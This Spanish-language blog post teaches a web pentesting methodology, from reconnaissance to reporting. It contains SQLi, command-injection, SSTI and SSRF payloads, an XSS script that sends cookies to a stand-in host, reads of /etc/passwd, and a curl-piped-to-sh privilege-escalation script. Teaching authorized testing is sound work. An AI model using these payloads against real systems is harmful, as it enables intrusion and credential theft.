604 palabras
3 minutos
Metodología de Pentesting Web: De 0 a reporte profesional

Fases de un Pentest Web#

Un pentesting profesional sigue una estructura clara. No es simplemente “lanzar herramientas” — es un proceso metódico.

1. Reconocimiento
2. Escaneo y Enumeración
3. Identificación de Vulnerabilidades
4. Explotación
5. Post-Explotación
6. Reporte

Fase 1: Reconocimiento#

Reconocimiento pasivo (sin tocar el objetivo)#

Terminal window
# WHOIS
whois target.com
# Registros DNS
dig target.com ANY
dig target.com MX
dig target.com TXT
# Certificados SSL (revelan subdominios)
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u
# Google Dorks
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com "contraseña" OR "password"
# Wayback Machine
waybackurls target.com | tee wayback.txt

Reconocimiento activo#

Terminal window
# Descubrimiento de subdominios
subfinder -d target.com -o subs_subfinder.txt
amass enum -d target.com -o subs_amass.txt
cat subs_*.txt | sort -u > all_subs.txt
# Verificar cuáles están activos
httpx -l all_subs.txt -title -status-code -o activos.txt

Fase 2: Enumeración#

Terminal window
# Tecnologías
whatweb https://target.com
wappalyzer (extensión de navegador)
# Directorios y archivos
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt \
-u https://target.com/FUZZ \
-fc 404 \
-o dirs.json -of json
# Parámetros GET
arjun -u https://target.com/search
# Extracción de URLs de JS
gau --mc 200 target.com | tee all_urls.txt
cat all_urls.txt | grep "\.js$" | sort -u > js_files.txt

Fase 3: Vulnerabilidades comunes#

Injections#

Terminal window
# SQL Injection
sqlmap -u "https://target.com/user?id=1" --dbs --batch --random-agent
# Command Injection (testear manualmente)
; id
| whoami
`id`
$(id)
# Template Injection (SSTI)
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker
<%= 7*7 %> # ERB

XSS#

Terminal window
# Payloads básicos
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(document.cookie)</script>
javascript:alert(1)
# XSS Avanzado - robo de cookies
<script>
fetch('https://tu-servidor.com/steal?c='+document.cookie)
</script>

IDOR (Insecure Direct Object Reference)#

# Cambiar IDs de usuario en requests
GET /api/user/profile/123 → cambiar a /api/user/profile/124
POST /delete-account {"user_id": 123} → cambiar a 124
# Herramienta: Autorize (plugin de Burp Suite)

SSRF#

Terminal window
# Payloads de prueba
http://127.0.0.1/admin
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://localhost:8080
http://[::1]/admin # IPv6 bypass
# Detectar con Burp Collaborator o interactsh
python3 -m interactsh-client

Fase 4: Explotación#

Documenta todo mientras explotas. Screenshots, videos, comandos exactos.

Terminal window
# Capturar tráfico con Burp
# 1. Configurar proxy en Burp (127.0.0.1:8080)
# 2. Activar intercept
# 3. Realizar la acción vulnerable
# 4. Guardar la request
# Guardar requests importantes
burp request save item exploits/vuln_name.req

Fase 5: Post-Explotación#

Si lograste RCE o acceso al servidor:

Terminal window
# Información del sistema
id && whoami
uname -a
cat /etc/passwd
env
# Red interna
ip addr
netstat -tulpn
cat /etc/hosts
# Escalada de privilegios — LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Fase 6: El Reporte#

Esta es la fase más importante para clientes reales. Un mal reporte arruina un buen pentest.

Estructura del reporte ejecutivo#

1. Resumen Ejecutivo
- Objetivo del pentest
- Periodo de evaluación
- Hallazgos críticos resumidos
- Recomendaciones prioritarias
2. Metodología utilizada
3. Hallazgos detallados (por vulnerabilidad):
- Descripción
- Severidad (CVSS score)
- Pasos para reproducir
- Evidencia (screenshots)
- Impacto en el negocio
- Recomendación de remediación
4. Conclusión

Calculadora CVSS rápida#

Crítico: 9.0 – 10.0 (RCE sin auth, SQLi con datos sensibles)
Alto: 7.0 – 8.9 (Auth bypass, IDOR masivo, SSRF interno)
Medio: 4.0 – 6.9 (XSS almacenado, CSRF, Info disclosure)
Bajo: 0.1 – 3.9 (XSS reflejado, Missing headers)

Checklist de pentesting web#

[ ] Reconocimiento pasivo completo
[ ] Subdominios enumerados
[ ] Tecnologías identificadas
[ ] Directorios y endpoints mapeados
[ ] Autenticación probada (fuerza bruta, bypass)
[ ] Todas las inputs probadas para SQLi
[ ] XSS en inputs y headers
[ ] IDOR en todos los endpoints con IDs
[ ] SSRF en campos URL/redirect
[ ] Business logic analizada
[ ] APIs documentadas y probadas
[ ] Headers de seguridad verificados
[ ] Evidencia documentada
[ ] Reporte redactado

La metodología es la diferencia entre un hacker y un pentester profesional. La práctica constante en HTB, TryHackMe y PortSwigger Academy es el camino. 🔴

Seguiremos con técnicas específicas de cada vulnerabilidad en próximos posts.

Metodología de Pentesting Web: De 0 a reporte profesional
https://oguiii.xyz/posts/metodologia-pentesting-web/
Autor
Oguiii
Publicado el
2025-03-10
Licencia
CC BY-NC-SA 4.0